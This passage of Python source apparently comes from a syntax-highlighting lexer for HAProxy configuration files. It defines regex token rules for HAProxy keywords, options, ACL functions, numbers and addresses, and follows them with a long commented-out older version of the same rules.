(r'^([\t ]+)(user|group|ca-base|chroot|cookie|crt-base|deviceatlas-json-file|h1-case-adjust-file|51degrees-data-file|wurfl-data-file|deviceatlas-properties-cookie|group|localpeer|node|lua-load|pidfile|server-state-base|server-state-file|ssl-dh-param-file|mailer|peer|table|nameserver|server-template|use-fcgi-app)([\t ]+)(\S+)', bygroups( Text, Keyword.Reserved, Text, String)),
# userlist keywords
(r'([\t ])(groups|users)', bygroups(Text, Name.Attribute)),
# Global Parameters
# RegEx:
# Start at the start of the line
# Look for whitespace - matches at least 1 char or more (Group 1)
# Look for global keywords (Group 2)
(words(_haproxy_builtins.global_parameters, prefix=r'^([\t ]+)', suffix='(?=[\t \n\r])'), bygroups(Text, Keyword.Reserved)),
# Proxies
# List of all proxy keywords from the one page documentation
# Regex:
# Start at the start of the line
# Look for whitespace - matches at least 1 char or more (Group 1)
# Look for global keywords (Group 2)
(words(_haproxy_builtins.proxy_keywords, prefix=r'^([\t ]+)', suffix='(?=[\t \n\r])'), bygroups(Text, Keyword.Reserved)),
# Bind options
# Regex:
# Look for whitespace (Group 1)
# Look for bind option (Group 2)
(words(_haproxy_builtins.bind_options, prefix=r'([\t ])', suffix='(?=[\t \n\r])'), bygroups(Text, Name.Attribute)),
# Server & Default Server options
# Regex:
# Look for whitespace (Group 1)
# Look for server and default server option (Group 2)
(words(_haproxy_builtins.server_options, prefix=r'([\t ])', suffix='(?=[\t \n\r])'), bygroups(Text, Name.Attribute)),
#manual fix
(r'([\t ])(track-sc0|track-sc1|track-sc2)(?=[\t \n\r])', bygroups(Text, Name.Attribute)),
# Resolvers keywords
# Start at the start of the line
# Look for whitespace - matches at least 1 char or more (Group 1)
# Look for resolvers keywords (Group 2)
(r'^([\t ]+)(accepted_payload_size|nameserver|parse-resolv-conf|hold|resolve_retries|timeout)(?=[\t \n\r])', bygroups( Text, Keyword.Reserved)),
# Cache keywords
(r'^([\t ]+)(total-max-size|max-object-size|max-age)(?=[\t \n\r])', bygroups( Text, Keyword.Reserved)),
# ACL
# ACL Matches
# ACL Converters
# ACL Fetches
# ACL Predefined
# Filters
# Fast CGI
(r'^([\t ]+)(path-info)(?=[\t \n\r])', bygroups( Text, Keyword.Reserved)),
# functions
(r'([\t ])(path_beg|path_dir|path_dom|path_end|path_len|path_reg|path_sub|path)(\s+)(\S+)(\s+)(})', bygroups(Text, Name.Function, Text, String, Text, Text)),
(r'([\t ])(path_beg|path_dir|path_dom|path_end|path_len|path_reg|path_sub|path)(\s+)(.+)$', bygroups(Text, Name.Function, Text, String)),
(r'([\t ])(path_beg|path_dir|path_dom|path_end|path_len|path_reg|path_sub|path)(?=[\t \n\r])', bygroups(Text, Name.Function)),
(r'([\t ])(url_beg|url_dir|url_dom|url_end|url_len|url_reg|url_sub|url)(\s+)(\S+)(\s+)(})', bygroups(Text, Name.Function, Text, String, Text, Text)),
(r'([\t ])(url_beg|url_dir|url_dom|url_end|url_len|url_reg|url_sub|url)(\s+)(.+)$', bygroups(Text, Name.Function, Text, String)),
(r'([\t ])(url_beg|url_dir|url_dom|url_end|url_len|url_reg|url_sub|url)(?=[\t \n\r])', bygroups(Text, Name.Function)),
(r'([\t ])(addr)(?=[\t \n\r])', bygroups(Text, Name.Attribute)),
(r'([\t ])(verify|none|crt|tfo|check-ssl|check|alpn)(?=[\t \n\r])', bygroups(Text, Name.Attribute)),
(r'([\t ])(accept-netscaler-cip|accept-proxy|allow-0rtt|alpn|backlog|ca-file|ca-ignore-err|ca-sign-file|ca-sign-pass|ciphers|ciphersuites|crl-file|crt|crt-ignore-err|crt-list|curves|defer-accept|ecdhe|expose-fd listeners|force-sslv3|force-tlsv10|force-tlsv11|force-tlsv12|force-tlsv13|generate-certificates|gid|group|id|interface|level|maxconn|mode|mss|namespace|name|nice|no-ca-names|no-sslv3|no-tls-tickets|no-tlsv10|no-tlsv11|no-tlsv12|no-tlsv13|npn|prefer-client-ciphers|process|proto|severity-output|ssl-max-ver|ssl-min-ver|ssl_fc|ssl|strict-sni|tcp-ut|tfo|tls-ticket-keys|transparent|uid|user|v4v6|v6only|verify)(?=[\t \n\r])', bygroups(Text, Name.Attribute)),
(r'(\s)(location|scheme|prefix|random)(?=[\t \n\r])', bygroups(Text, Name.Attribute)),
(r'(\,|[\t ])(type|size|store)(?=[\t \n\r])', bygroups(Text, Name.Function)),
(r'(\,|[\t ])(len|expire)(?=[\t \n\r])', bygroups(Text, Name.Function)),
# types
(r'(\,|[\t ])(string|integer|ipv6|ip|binary)(?=[\t \n\r])', bygroups(Text, Keyword.Type)),
(r'([\t ])(SSLv3|TLSv1.0|TLSv1\.1|TLSv1\.2|TLSv1\.3)(?=[\t \n\r])', bygroups(Text, Literal)),
(r'([\t ])(conn-failure|empty-response|junk-response|response-timeout|0rtt-rejected|except|nbsrv)(?=[\t \n\r])', bygroups(Text, Name.Attribute)),
# stick table functions
(r'(\,|[\t ])(gpc0|gpc1|conn_cnt|conn_cur|sess_cnt|http_req_cnt|http_err_cnt|bytes_in_cnt|bytes_out_cnt)(?=[\,\t \n\r])', bygroups(Text, Name.Function)),
(r'(\,|[\t ])(gpc0_rate|gpc1_rate|conn_rate|sess_rate|http_req_rate|http_err_rate|bytes_in_rate|bytes_out_rate)(?=[\(|\s])', bygroups(Text, Name.Function)),
(r'(?<=[\t ])(table)(?=[\t \n\r])', bygroups(Name.Attribute)),
# Converter functions
(words(_haproxy_builtins.converter_functions, prefix=r'(\,|[\t ])', suffix='(?=[\(|\s])'), bygroups(Text, Name.Function)),
# Converters
(words(_haproxy_builtins.converters, prefix=r'(\,|[\t ])', suffix='(?=[\t \n\r]|\,)'), bygroups(Text, Name.Function)),
# Fetches internal states functions
(words(_haproxy_builtins.internal_states_fetch_functions, prefix=r'(\,|[\t ])', suffix='(?=[\(|\s])'), bygroups(Text, Name.Function)),
# Fetches internal states
(words(_haproxy_builtins.internal_states_fetches, prefix=r'(\,|[\t ])', suffix='(?=[\t \n\r]|\,)'), bygroups(Text, Name.Function)),
# Fetching samples at Layer 4 functions
(words(_haproxy_builtins.l4_samples_fetch_functions, prefix=r'(\,|[\t ])', suffix='(?=[\(|\s])'), bygroups(Text, Name.Function)),
# Fetching samples at Layer 4
(words(_haproxy_builtins.l4_samples_fetches, prefix=r'(\,|[\t ])', suffix='(?=[\t \n\r]|\,)'), bygroups(Text, Name.Function)),
# Fetching samples at Layer 5 functions
(words(_haproxy_builtins.l5_samples_fetch_functions, prefix=r'(\,|[\t ])', suffix='(?=[\(|\s])'), bygroups(Text, Name.Function)),
# Fetching samples at Layer 5
(words(_haproxy_builtins.l5_samples_fetches, prefix=r'(\,|[\t ])', suffix='(?=[\t \n\r]|\,)'), bygroups(Text, Name.Function)),
# Fetching samples from buffer contents (Layer 6) functions
(words(_haproxy_builtins.l6_samples_fetch_functions, prefix=r'(\,|[\t ])', suffix='(?=[\(|\s])'), bygroups(Text, Name.Function)),
# Fetching samples from buffer contents (Layer 6)
(words(_haproxy_builtins.l6_samples_fetches, prefix=r'(\,|[\t ])', suffix='(?=[\t \n\r]|\,)'), bygroups(Text, Name.Function)),
# Fetching HTTP samples (Layer 7) functions
(words(_haproxy_builtins.l7_samples_fetch_functions, prefix=r'(\,|[\t ])', suffix='(?=[\(|\s])'), bygroups(Text, Name.Function)),
# Fetching HTTP samples (Layer 7)
(words(_haproxy_builtins.l7_samples_fetches, prefix=r'(\,|[\t ])', suffix='(?=[\t \n\r]|\,)'), bygroups(Text, Name.Function)),
# Fetching samples for developers Functions
(words(_haproxy_builtins.dev_samples_fetch_functions, prefix=r'(\,|[\t ])', suffix='(?=[\(|\s])'), bygroups(Text, Name.Function)),
# Fetching samples for developers
(words(_haproxy_builtins.dev_samples_fetches, prefix=r'(\,|[\t ])', suffix='(?=[\t \n\r]|\,)'), bygroups(Text, Name.Function)),
# ACL Predefined functions
(r'(\,|[\t ])(FALSE|HTTP_1\.0|HTTP_1\.1|HTTP_CONTENT|HTTP_URL_ABS|HTTP_URL_SLASH|HTTP_URL_STAR|HTTP|LOCALHOST|METH_CONNECT|METH_DELETE|METH_GET|METH_HEAD|METH_OPTIONS|METH_POST|METH_PUT|METH_TRACE|RDP_COOKIE|REQ_CONTENT|TRUE|WAIT_END)(?=[\t \n\r]|\,)', bygroups(Text, Name.Attribute)),
# ACL conditionals
(r'(\s)(if|unless)(\s+)([a-zA-Z0-9_-]+|!\s?[a-zA-Z0-9_-]+)', bygroups(Text, Operator.Word, Text, Name.Variable)),
(r'\b(if|unless)\b', Operator.Word),
# Logical operators
(r'(?<=\s)(lt|gt|or|\|\||!)', bygroups(Operator.Word)),
# Numbers
# also optional letter supported, like '100s'
(r'(?<=[\t \(\,])([0-9]+)(?=[\t \r\n\)\,])', bygroups(Number)),
(r'(?<=[\t \(\,])([0-9]+)(k|ms|s|m|h|w|y)(?=[\t \r\n\)\,])', bygroups( Literal.Number, Literal.Number)),
# IP address/subnet
# ([\t ]|,)[0-9]+(?:\.[0-9]+){3}(\/[0-9]+)?
(r'([\t ]|,)([0-9]+(?:\.[0-9]+){3})(\/[0-9]+)?', bygroups(Text, Literal.Number, Number)),
# IP address:port
(r'([\t ]|,)([0-9]+(?:\.[0-9]+){3})(:[0-9]+)?', bygroups(Text, Literal.Number, Number)),
# Ports only
(r'(:+)([0-9]+)', bygroups(Text, Literal.Number)),
(r'(\*)(:+)([0-9]+)',bygroups(Operator ,Text, Literal.Number)),
# Remaining text
(r'.', Text)
# # HAProxy configuration parsing basics.
# # A typical file is split into sections
# # To declare a section you need to use its keyword at the start of the line.
# # Only sections and comments are allowed at the start of the line.
# # Configuration keywords always start with indentation either by space or tabs or a mix of the two.
# # Comment that starts at the beginning of the line
# # Regex:
# # Start at the start of the line
# # Look for a #
# # Grab everything till the end of line
# (r'^#.*$', Comment.Singleline),
# # Inline comment
# # Regex:
# # Look for whitespace followed by #
# # Grab everything till the end of line
# (r'(?<=\s)#.*$', Comment.Singleline),
# # Path
# (r'(\s)(\/\S+)', bygroups(Text, String)),
# # Path at the end of the line
# (r'(\s)(\/\S+)$', bygroups(Text, String)),
# # Urls
# (r'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+', String),
# # # Curly Braces
# # (r'({)(.*?)(})', bygroups(String, Text, String)),
# # Strings
# (r'(\".*?\")', bygroups(String.Double)),
#
#
# # dashed options
# (r'(?<=\s)(-)(m|i)(?=\s)', bygroups(Text, Name.Attribute)),
#
#
# # Main Sections
# # RegEx:
# # Start at the start of the line
# # Look for any of the keywords (Group 1)
# # Look for whitespace - matches 0 or more (Group 2)
# (r'^(dynamic-update|fcgi-app|backend|cache|defaults|frontend|global|listen|mailers|peers|program|resolvers|ruleset|userlist|aggregations|director)([\t ]+)(\S+)([\t ]+)([0-9]+(?:\.[0-9]+){3}|\*)(:[0-9]+)?([\t ]?)$', bygroups(Name.Namespace, Text, Name.Variable, Text, Number, Number, Text)),
#
# (r'^(dynamic-update|fcgi-app|backend|cache|defaults|frontend|global|listen|mailers|peers|program|resolvers|ruleset|userlist|aggregations|director)([\t ]+)([0-9]+(?:\.[0-9]+){3}|\*)(:[0-9]+)?([\t ]?)$', bygroups(Name.Namespace, Text, Number, Number, Text)),
#
# (r'^(dynamic-update|fcgi-app|backend|cache|defaults|frontend|global|listen|mailers|peers|program|resolvers|ruleset|userlist|aggregations|director)([\t ]+)(\S+)([\t ]?)$', bygroups(Name.Namespace, Text, Name.Variable, Text)),
#
# (r'^(dynamic-update|fcgi-app|backend|cache|defaults|frontend|global|listen|mailers|peers|program|resolvers|ruleset|userlist|aggregations|director)([\t ]?)$', bygroups(Name.Namespace, Text)),
#
# # Start at the start of the line
# # Look for any of the keywords (Group 1)
# # Look for whitespace - matches 0 or more (Group 2)
# # Grab everything else (Group 3)
# (r'^(dynamic-update|fcgi-app|backend|cache|defaults|frontend|global|listen|mailers|peers|program|resolvers|ruleset|userlist|aggregations|director)(\s?)(.*)$', bygroups(Name.Namespace, Text, Name.Variable)),
#
#
# # manual fixes (ordering)
# (r'^([\t ]+)(log-stderr|docroot|index)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved)),
#
# (r'^([\t ]+)(log-stderr|log)([\t ]+)(global)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
#
#
#
#
# # Keywords that take a second keyword/option
# # no option
# (r'^([\t ]+)(no)([\t ]+)(option)([\t ]+)(abortonclose|accept-invalid-http-request|accept-invalid-http-response|allbackups|checkcache|clitcpka|contstats|dontlog-normal|dontlognull|h1-case-adjust-bogus-client|h1-case-adjust-bogus-server|http-buffer-request|http-ignore-probes|http-keep-alive|http-no-delay|http-pretend-keepalive|http-server-close|http-use-proxy-header|httpclose|http_proxy|independent-streams|log-separate-errors|logasap|nolinger|persist|prefer-last-server|redispatch|socket-stats|splice-auto|splice-request|splice-response|srvtcpka|tcp-smart-accept|tcp-smart-connect|transparent)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Keyword.Reserved, Text, Name.Attribute)),
# # option
# (r'^([\t ]+)(option)([\t ]+)(abortonclose|accept-invalid-http-request|accept-invalid-http-response|allbackups|checkcache|clitcpka|contstats|dontlog-normal|dontlognull|forwardfor|h1-case-adjust-bogus-client|h1-case-adjust-bogus-server|http-buffer-request|http-ignore-probes|http-keep-alive|http-no-delay|http-pretend-keepalive|http-server-close|http-use-proxy-header|httpchk|httpclose|httplog|http_proxy|independent-streams|ldap-check|external-check|no\s+log-health-checks|log-health-checks|log-separate-errors|logasap|mysql-check|nolinger|originalto|persist|pgsql-check|smtp-check|prefer-last-server|redispatch|redis-check|smtpchk|socket-stats|splice-auto|splice-request|splice-response|spop-check|srvtcpka|ssl-hello-chk|tcp-check|tcp-smart-accept|tcp-smart-connect|tcpka|tcplog|transparent)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# # http-response
# (r'^([\t ]+)(http-response)([\t ]+)(add-acl|add-header|allow|cache-store|capture|del-acl|del-header|del-map|deny|redirect|replace-header|replace-value|return|sc-inc-gpc0|sc-inc-gpc1|sc-set-gpt0|send-spoe-group|set-header|set-log-level|set-map|set-mark|set-nice|set-status|set-tos|set-var|silent-drop|strict-mode|track-sc0|track-sc1|track-sc2|unset-var)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# # http-request
# (r'^([\t ]+)(http-request)([\t ]+)(add-acl|add-header|allow|auth|cache-use|capture|del-acl|del-header|del-map|deny|disable-l7-retry|do-resolve|early-hint|redirect|reject|replace-header|replace-path|replace-uri|replace-value|return|sc-inc-gpc0|sc-inc-gpc1|sc-set-gpt0|set-dst-port|set-dst|set-header|set-log-level|set-map|set-mark|set-method|set-nice|set-path|set-priority-class|set-priority-offset|set-query|set-src-port|set-src|set-tos|set-uri|set-var|send-spoe-group|silent-drop|strict-mode|tarpit|track-sc0|track-sc2|track-sc3|unset-var|use-service|wait-for-handshake)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# # tcp-check
# (r'^([\t ]+)(tcp-check)([\t ]+)(send-binary|expect|send|comment|connect)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# # mailers
# (r'^([\t ]+)(mailer)([\t ]+)([a-zA-Z0-9\_\-\.\:]+)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Variable)),
# # mailers
# (r'^([\t ]+)(mailer)', bygroups(Text, Keyword.Reserved)),
# (r'^([\t ]+)(email-alert)([\t ]+)(mailers|level|from|to)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# # compression
# (r'^([\t ]+)(compression)([\t ]+)(algo|offload|type)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# # stats
# (r'^([\t ]+)(stats)([\t ]+)(admin|auth|enable|hide-version|http-request|realm|refresh|scope|show-desc|show-legends|show-node|uri|socket|bind-process|timeout)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# # mode
# (r'^([\t ]+)(mode)([\t ]+)(http|tcp|health)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# # hold
# (r'^([\t ]+)(hold)([\t ]+)(other|refused|nx|timeout|valid|obsolete)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# # timeout
# (r'^([\t ]+)(timeout)([\t ]+)(check|client-fin|client|connect|http-keep-alive|http-request|queue|server-fin|server|tarpit|tunnel)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# # timeout Resolvers
# (r'^([\t ]+)(timeout)([\t ]+)(resolve|retry)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# # balance
# (r'^([\t ]+)(balance)([\t ]+)(roundrobin|static-rr|leastconn|first|source|uri|queue|server-fin|server|tarpit|tunnel)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# # log
# (r'^([\t ]+)(log)([\t ]+)(stdout|stderr|global)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Literal)),
# (r'^([\t ]+)(default-server)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved)),
# # max-mind
# (r'^([\t ]+)(maxmind-update)([\t ]+)(url|cache|update|show|status|force-update)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# (r'^([\t ]+)(maxmind-cache-size|maxmind-debug|maxmind-load|maxmind-update)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved)),
# # net aquity
# (r'^([\t ]+)(netacuity-cache-size|netacuity-debug|netacuity-property-separator|netacuity-load|netacuity-update|netacuity-test-ipv4)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved)),
# # command
# (r'^([\t ]+)(command)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved)),
#
# #stick
# (r'^([\t ]+)(stick)([\t ]+)(match|on|store-request|store-response)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
#
#
#
#
# # Rules for user in userlists
# # user <username> [password|insecure-password <password>] [groups <group>,<group>,(...)]
#
# (r'^([\t ]+)(user)(\s+)(\S+)(\s+)(password|insecure-password)(\s+)(\S+)(\s+)(groups)(\s+)(\S+)$', bygroups( Text, Keyword.Reserved, Text, String, Text, Name.Attribute, Text, String, Text, Name.Attribute, Text, String )),
#
# (r'^([\t ]+)(user)(\s+)(\S+)(\s+)(password|insecure-password)(\s+)(\S+)(\s?)$', bygroups( Text, Keyword.Reserved, Text, String, Text, Name.Attribute, Text, String, Text )),
#
# # Rules for group in userlists
# # group <groupname> [users <user>,<user>,(...)]
#
# (r'^([\t ]+)(group)(\s+)(\S+)(\s+)(users)(\s+)(\S+)(\s?)$', bygroups( Text, Keyword.Reserved, Text, String, Text, Name.Attribute, Text, String, Text )),
#
# (r'^([\t ]+)(group)(\s+)(\S+)(\s+)(users)(\s+)(\S+)(\s?)$', bygroups( Text, Keyword.Reserved, Text, String, Text, Name.Attribute, Text, String, Text )),
#
# # Rules for capture
# (r'^([\t ]+)(capture)([\t ]+)(cookie)([\t ]+)(\S+)([\t ]+)(len)(\s)', bygroups(Text, Keyword.Reserved, Text, Name.Attribute, Text, String, Text, Name.Function)),
# (r'^([\t ]+)(capture)([\t ]+)(cookie)([\t ]+)(\S+)', bygroups(Text, Keyword.Reserved, Text, Name.Attribute, Text, String)),
# (r'^([\t ]+)(capture)([\t ]+)(cookie)', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
#
# (r'^([\t ]+)(capture)([\t ]+)(response|request)([\t ]+)(header)', bygroups(Text, Keyword.Reserved, Text, Name.Attribute, Text, Name.Attribute)),
#
# # Rules for tcp-request
# (r'^([\t ]+)(tcp-request)([\t ]+)(connection|content|inspect-delay|session)', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
#
# # Rules for tcp-response
# (r'^([\t ]+)(tcp-response)([\t ]+)(content|inspect-delay)', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
#
# # Rules for http-check
# (r'^([\t ]+)(http-check)([\t ]+)(disable-on-404|expect|send-state|send)', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
#
#
# # Keywords that declare a variable
# # acl, use_backend, server, default_backend, table
# # Syntax: acl <acl-name>
# (r'^([\t ]+)(acl|use_backend|server|default_backend|table)([\t ]+)([a-zA-Z0-9\_\-\.\:]+)(?=[\t \n\r])', bygroups( Text, Keyword.Reserved, Text, Name.Variable)),
# (r'^([\t ]+)(acl|use_backend|server|default_backend|table)([\t ]+)(\S+)', bygroups( Text, Keyword.Reserved, Text, Error)),
#
# # Keywords that take a single value typically displayed as string
# # username user
# # groupname group
# # path ca-base, chroot, crt-base, deviceatlas-json-file,h1-case-adjust-file, 51degrees-data-file, wurfl-data-file
# # name deviceatlas-properties-cookie, group, localpeer, node
# # file lua-load, pidfile
# # dir server-state-base
# # file server-state-file, ssl-dh-param-file
# # text description
# # name mailer peer table
# # id nameserver
# # prefix server-template
# # name cookie
# # name use-fcgi-app
# (r'^([\t ]+)(user|group|ca-base|chroot|cookie|crt-base|deviceatlas-json-file|h1-case-adjust-file|51degrees-data-file|wurfl-data-file|deviceatlas-properties-cookie|group|localpeer|node|lua-load|pidfile|server-state-base|server-state-file|ssl-dh-param-file|description|mailer|peer|table|nameserver|server-template|use-fcgi-app)([\t ]+)(\S+)', bygroups( Text, Keyword.Reserved, Text, String)),
#
# # userlist keywords
# (r'([\t ])(groups|users)', bygroups(Text, Name.Attribute)),
#
#
# # Global Parameters
# # RegEx:
# # Start at the start of the line
# # Look for whitespace - matches at least 1 char or more (Group 1)
# # Look for global keywords (Group 2)
# (r'^([\t ]+)(master-worker|ca-base|chroot|crt-base|cpu-map|daemon|description|deviceatlas-json-file|deviceatlas-log-level|deviceatlas-separator|deviceatlas-properties-cookie|external-check|gid|group|hard-stop-after|h1-case-adjust|h1-case-adjust-file|localpeer|log-format|log-tag|log-send-hostname|log|lua-load|lua-prepend-path|mworker-max-reloads|nbproc|nbthread|node|pidfile|presetenv|resetenv|uid|ulimit-n|user|set-dumpable|setenv|stats|ssl-default-bind-ciphers|ssl-default-bind-ciphersuites|ssl-default-bind-options|ssl-default-server-ciphers|ssl-default-server-ciphersuites|ssl-default-server-options|ssl-dh-param-file|ssl-server-verify|unix-bind|unsetenv|51degrees-update|51degrees-data-file|51degrees-property-name-list|51degrees-property-separator|51degrees-cache-size|wurfl-update|wurfl-data-file|wurfl-information-list|wurfl-information-list-separator|wurfl-cache-size|strict-limits|busy-polling|max-spread-checks|maxconn|maxconnrate|maxcomprate|maxcompcpuusage|maxpipes|maxsessrate|maxsslconn|maxsslrate|maxzlibmem|noepoll|nokqueue|noevports|nopoll|nosplice|nogetaddrinfo|noreuseport|profiling\.tasks|spread-checks|server-state-base|server-state-file-base|server-state-file|ssl-engine|ssl-mode-async|tune\.buffers\.limit|tune\.buffers\.reserve|tune\.bufsize|tune\.chksize|tune\.comp\.maxlevel|tune\.h2\.header-table-size|tune\.h2\.initial-window-size|tune\.h2\.max-concurrent-streams|tune\.http\.cookielen|tune\.http\.logurilen|tune\.http\.maxhdr|tune\.idletimer|tune\.lua\.forced-yield|tune\.lua\.maxmem|tune\.lua\.session-timeout|tune\.lua\.task-timeout|tune\.lua\.service-timeout|tune\.maxaccept|tune\.maxpollevents|tune\.maxrewrite|tune\.pattern\.cache-size|tune\.pipesize|tune\.pool-high-fd-ratio|tune\.pool-low-fd-ratio|tune\.rcvbuf\.client|tune\.rcvbuf\.server|tune\.recv_enough|tune\.runqueue-depth|tune\.sndbuf\.client|tune\.sndbuf\.server|tune\.ssl\.cachesize|tune\.ssl\.lifetime|tune\.ssl\.force-private-cache|tune\.ssl\.maxrecord|tune\.ssl\.default-dh-param|tune\.ssl\.ssl-ctx-cache-size|tune\.ssl\.capture-cipherlist-size|tune\.vars\.global-max-size|tune\.vars\.proc-max-size|tune\.vars\.reqres-max-size|tune\.vars\.sess-max-size|tune\.vars\.txn-max-size|tune\.zlib\.memlevel|tune\.zlib\.windowsize|debug|quiet|module-path|module-load|send-metrics-url|send-metrics-header|send-metrics-content-type|send-metrics-data|send-metrics-debug|update)', bygroups( Text, Keyword.Reserved)),
#
#
#
#
# # Proxies
# # List of all proxy keywords from the one page documentation
# # Regex:
# # Start at the start of the line
# # Look for whitespace - matches at least 1 char or more (Group 1)
# # Look for global keywords (Group 2)
# (r'^([\t ]+)(acl|backlog|balance|bind-process|bind|capture|compression|cookie|declare|default-server|default_backend|description|disabled|dispatch|email-alert|enabled|errorfiles|errorfile|errorloc303|errorloc302|errorloc|force-persist|filter|fullconn|grace|hash-type|http-after-response|http-check|http-request|http-response|http-reuse|http-send-name-header|id|ignore-persist|load-server-state-from-file|log-format-sd|log-format|log-tag|log|max-keep-alive-queue|maxconn|mode|monitor-uri|monitor-net|monitor|option|external-check|persist|rate-limit|redirect|retries|retry-on|server-state-file-name|server-template|server|source|stats|stick-table|stick|tcp-check|tcp-request|tcp-response|timeout|transparent|unique-id-format|unique-id-header|use_backend|use-fcgi-app|use-server)', bygroups( Text, Keyword.Reserved)),
# # Bind options
# # Regex:
# # Look for whitespace (Group 1)
# # Look for bind option (Group 2)
# (r'([\t ])(accept-netscaler-cip|accept-proxy|allow-0rtt|alpn|backlog|ca-file|ca-ignore-err|ca-sign-file|ca-sign-pass|ciphers|ciphersuites|crl-file|crt|crt-ignore-err|crt-list|curves|defer-accept|ecdhe|expose-fd listeners|force-sslv3|force-tlsv10|force-tlsv11|force-tlsv12|force-tlsv13|generate-certificates|gid|group|id|interface|level|maxconn|mode|mss|namespace|name|nice|no-ca-names|no-sslv3|no-tls-tickets|no-tlsv10|no-tlsv11|no-tlsv12|no-tlsv13|npn|prefer-client-ciphers|process|proto|severity-output|ssl-max-ver|ssl-min-ver|ssl_fc|ssl|strict-sni|tcp-ut|tfo|tls-ticket-keys|transparent|uid|user|v4v6|v6only|verify)', bygroups(Text, Name.Attribute)),
# # Server & Default Server options
# # Regex:
# # Look for whitespace (Group 1)
# # Look for server and default server option (Group 2)
#
# #manual fix
# (r'([\t ])(track-sc0|track-sc1|track-sc2)', bygroups(Text, Name.Attribute)),
#
# (r'([\t ])(addr|agent-check|agent-send|agent-inter|agent-addr|agent-port|allow-0rtt|alpn|backup|ca-file|check-send-proxy|check-alpn|check-sni|check-ssl|check-via-socks4|check|ciphers|ciphersuites|cookie|crl-file|crt|disabled|enabled|error-limit|fall|force-sslv3|force-tlsv10|force-tlsv11|force-tlsv12|force-tlsv13|id|init-addr|inter|fastinter|downinter|maxconn|maxqueue|max-reuse|minconn|namespace|no-agent-check|no-backup|no-check-ssl|no-check|no-send-proxy-v2-ssl-cn|no-send-proxy-v2-ssl|no-send-proxy-v2|no-send-proxy|no-sslv3|no-ssl-reuse|no-ssl|no-tls-tickets|no-tlsv13|no-tlsv12|no-tlsv11|no-tlsv10|no-verifyhost|no-tfo|non-stick|npn|observe|on-error|on-marked-down|on-marked-up|pool-max-conn|pool-purge-delay|port|proto|redir|rise|resolvers|resolve-opts|resolve-prefer|resolve-net|send-proxy-v2|send-proxy|proxy-v2-options|send-proxy-v2-ssl-cn|send-proxy-v2-ssl|slowstart|sni|source|ssl-max-ver|ssl-min-ver|ssl-reuse|ssl|stick|socks4|tcp-ut|tfo|track|tls-tickets|verifyhost|verify|weight)', bygroups(Text, Name.Attribute)),
# # Resolvers keywords
# # Start at the start of the line
# # Look for whitespace - matches at least 1 char or more (Group 1)
# # Look for resolvers keywords (Group 2)
# (r'^([\t ]+)(accepted_payload_size|nameserver|parse-resolv-conf|hold|resolve_retries|timeout)', bygroups( Text, Keyword.Reserved)),
# # Cache keywords
# (r'^([\t ]+)(total-max-size|max-object-size|max-age)', bygroups( Text, Keyword.Reserved)),
# # ACL
# # ACL Matches
# # ACL Converters
# # ACL Fetches
# # ACL Predefined
# # Filters
# # Fast CGI
# (r'^([\t ]+)(path-info)', bygroups( Text, Keyword.Reserved)),
#
#
#
# # functions
# (r'([\t ])(path_beg|path_dir|path_dom|path_end|path_len|path_reg|path_sub|path)(\s+)(\S+)(\s+)(})', bygroups(Text, Name.Function, Text, String, Text, Text)),
# (r'([\t ])(path_beg|path_dir|path_dom|path_end|path_len|path_reg|path_sub|path)(\s+)(.+)$', bygroups(Text, Name.Function, Text, String)),
# (r'([\t ])(path_beg|path_dir|path_dom|path_end|path_len|path_reg|path_sub|path)', bygroups(Text, Name.Function)),
# (r'([\t ])(addr)', bygroups(Text, Name.Attribute)),
# (r'([\t ])(verify|none|crt|tfo|check-ssl|check|alpn)', bygroups(Text, Name.Attribute)),
# (r'([\t ])(accept-netscaler-cip|accept-proxy|allow-0rtt|alpn|backlog|ca-file|ca-ignore-err|ca-sign-file|ca-sign-pass|ciphers|ciphersuites|crl-file|crt|crt-ignore-err|crt-list|curves|defer-accept|ecdhe|expose-fd listeners|force-sslv3|force-tlsv10|force-tlsv11|force-tlsv12|force-tlsv13|generate-certificates|gid|group|id|interface|level|maxconn|mode|mss|namespace|name|nice|no-ca-names|no-sslv3|no-tls-tickets|no-tlsv10|no-tlsv11|no-tlsv12|no-tlsv13|npn|prefer-client-ciphers|process|proto|severity-output|ssl-max-ver|ssl-min-ver|ssl_fc|ssl|strict-sni|tcp-ut|tfo|tls-ticket-keys|transparent|uid|user|v4v6|v6only|verify)', bygroups(Text, Name.Attribute)),
# (r'(\s)(location|scheme|prefix|random)', bygroups(Text, Name.Attribute)),
